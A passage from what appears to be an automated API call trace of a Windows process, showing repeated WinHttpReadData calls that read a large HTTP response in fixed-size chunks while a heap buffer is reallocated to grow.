returned 1 [0182.147] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x7c60080, Size=0x82000) returned 0xf140080 [0182.157] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf1bf880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf1bf880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.158] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf140080, Size=0x84800) returned 0xf1c2090 [0182.168] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf244090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf244090*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.235] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf1c2090, Size=0x87000) returned 0xf2468a0 [0182.281] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf2cb0a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf2cb0a0*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.428] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf2468a0, Size=0x89800) returned 0xf2468a0 [0182.428] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf2cd8a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf2cd8a0*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.429] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf2468a0, Size=0x8c000) returned 0xf140080 [0182.521] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf1c9880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf1c9880*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.588] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf140080, Size=0x8e800) returned 0xf340080 [0182.601] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf3cc080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf3cc080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.603] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf340080, Size=0x91000) returned 0xf3ce890 [0182.619] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf45d090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf45d090*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.665] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf3ce890, Size=0x93800) returned 0xf45f8a0 [0182.687] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf4f08a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf4f08a0*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.758] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f8a0, Size=0x96000) returned 0xf45f8a0 [0182.758] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf4f30a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf4f30a0*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.759] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f8a0, Size=0x98800) returned 0xf340080 [0182.772] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf3d6080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf3d6080*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.773] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf340080, Size=0x9b000) returned 0xf45f010 [0182.777] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf4f7810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf4f7810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.778] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0x9d800) returned 0xf45f010 [0182.779] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf4fa010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf4fa010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.779] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xa0000) returned 0xf45f010 [0182.779] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf4fc810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf4fc810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.780] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xa2800) returned 0xf45f010 [0182.780] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf4ff010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf4ff010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.781] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xa5000) returned 0xf45f010 [0182.781] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf501810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf501810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.782] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xa7800) returned 0xf45f010 [0182.782] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf504010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf504010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.782] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xaa000) returned 0xf45f010 [0182.782] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf506810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf506810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.783] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xac800) returned 0xf45f010 [0182.783] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf509010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf509010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.784] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xaf000) returned 0xf45f010 [0182.785] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf50b810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf50b810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.785] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xb1800) returned 0xf45f010 [0182.786] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf50e010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf50e010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.786] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xb4000) returned 0xf45f010 [0182.786] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf510810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf510810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.787] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xb6800) returned 0xf45f010 [0182.787] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf513010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf513010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.788] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xb9000) returned 0xf45f010 [0182.788] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf515810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf515810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.788] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xbb800) returned 0xf45f010 [0182.789] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf518010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf518010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.838] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xbe000) returned 0xf45f010 [0182.838] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf51a810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf51a810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.908] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xc0800) returned 0xf45f010 [0182.908] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf51d010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf51d010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.910] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xc3000) returned 0xf45f010 [0182.910] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf51f810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf51f810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.910] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xc5800) returned 0xf45f010 [0182.911] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf522010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf522010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.912] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xc8000) returned 0xf45f010 [0182.912] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf524810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf524810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.912] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xca800) returned 0xf45f010 [0182.913] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf527010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf527010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.914] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xcd000) returned 0xf45f010 [0182.914] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf529810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf529810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.914] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xcf800) returned 0xf45f010 [0182.914] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf52c010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf52c010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.915] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xd2000) returned 0xf45f010 [0182.916] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf52e810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf52e810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.916] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xd4800) returned 0xf45f010 [0182.916] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf531010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf531010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.917] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xd7000) returned 0xf45f010 [0182.917] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf533810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf533810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.918] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xd9800) returned 0xf45f010 [0182.918] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf536010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf536010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.920] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xdc000) returned 0xf45f010 [0182.920] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf538810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf538810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.921] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xde800) returned 0xf45f010 [0182.921] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf53b010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf53b010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.922] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xe1000) returned 0xf45f010 [0182.922] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf53d810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf53d810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.923] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xe3800) returned 0xf45f010 [0182.923] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf540010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf540010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.924] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xe6000) returned 0xf45f010 [0182.924] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf542810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf542810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.924] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xe8800) returned 0xf45f010 [0182.925] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf545010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf545010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.925] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xeb000) returned 0xf45f010 [0182.925] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf547810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf547810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.929] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xed800) returned 0xf45f010 [0182.929] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf54a010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf54a010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.929] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xf0000) returned 0xf45f010 [0182.929] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf54c810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf54c810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.930] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xf2800) returned 0xf45f010 [0182.931] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf54f010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf54f010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.931] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xf5000) returned 0xf45f010 [0182.931] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf551810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf551810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.932] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xf7800) returned 0xf45f010 [0182.932] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf554010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf554010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.933] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xfa000) returned 0xf45f010 [0182.933] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf556810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf556810*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.934] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xfc800) returned 0xf45f010 [0182.934] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf559010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf559010*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0182.935] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf45f010, Size=0xff000) returned 0x8fd4040 [0183.001] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90d0840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90d0840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0183.070] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd4040, Size=0x101800) returned 0x9153040 [0183.101] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9252040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9252040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0183.114] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9153040, Size=0x104000) returned 0x8fda040 [0183.141] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90db840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90db840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0183.228] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fda040, Size=0x106800) returned 0x915c040 [0183.254] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9260040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9260040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0183.266] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x915c040, Size=0x109000) returned 0x8fdf040 [0183.601] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90e5840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90e5840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0183.692] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fdf040, Size=0x10b800) returned 0x9157040 [0183.773] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9260040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9260040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0183.774] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9157040, Size=0x10e000) returned 0x8fd4040 [0184.181] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90df840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90df840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0184.182] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd4040, Size=0x110800) returned 0x9150040 [0184.362] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x925e040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x925e040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0184.441] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9150040, Size=0x113000) returned 0x8fd2040 [0184.467] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90e2840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90e2840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0184.474] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd2040, Size=0x115800) returned 0x9154040 [0184.521] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9267040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9267040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0184.733] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9154040, Size=0x118000) returned 0x8fdc040 [0184.771] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90f1840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90f1840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0184.812] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fdc040, Size=0x11a800) returned 0x9158040 [0184.840] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9270040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9270040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0184.841] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9158040, Size=0x11d000) returned 0x8fd2040 [0184.866] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90ec840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90ec840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0184.927] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd2040, Size=0x11f800) returned 0x9159040 [0184.954] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9276040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9276040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.005] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9159040, Size=0x122000) returned 0x8fd9040 [0185.071] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90f8840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90f8840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.149] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd9040, Size=0x124800) returned 0x9154040 [0185.182] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9276040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9276040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.191] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9154040, Size=0x127000) returned 0x8fdd040 [0185.222] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9101840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9101840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.302] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fdd040, Size=0x129800) returned 0x915f040 [0185.337] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9286040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9286040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.357] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x915f040, Size=0x12c000) returned 0x8fd3040 [0185.462] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x90fc840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x90fc840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.543] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd3040, Size=0x12e800) returned 0x915c040 [0185.573] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9288040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9288040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.619] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x915c040, Size=0x131000) returned 0x8fd5040 [0185.648] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9103840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9103840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.710] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd5040, Size=0x133800) returned 0x915a040 [0185.777] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x928b040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x928b040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.857] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x915a040, Size=0x136000) returned 0x8fd5040 [0185.886] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9108840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9108840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.887] RtlReAllocateHeap 